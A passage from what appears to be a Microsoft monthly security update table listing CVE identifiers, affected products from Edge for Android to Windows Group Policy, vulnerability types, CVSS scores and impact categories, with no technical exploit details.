CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  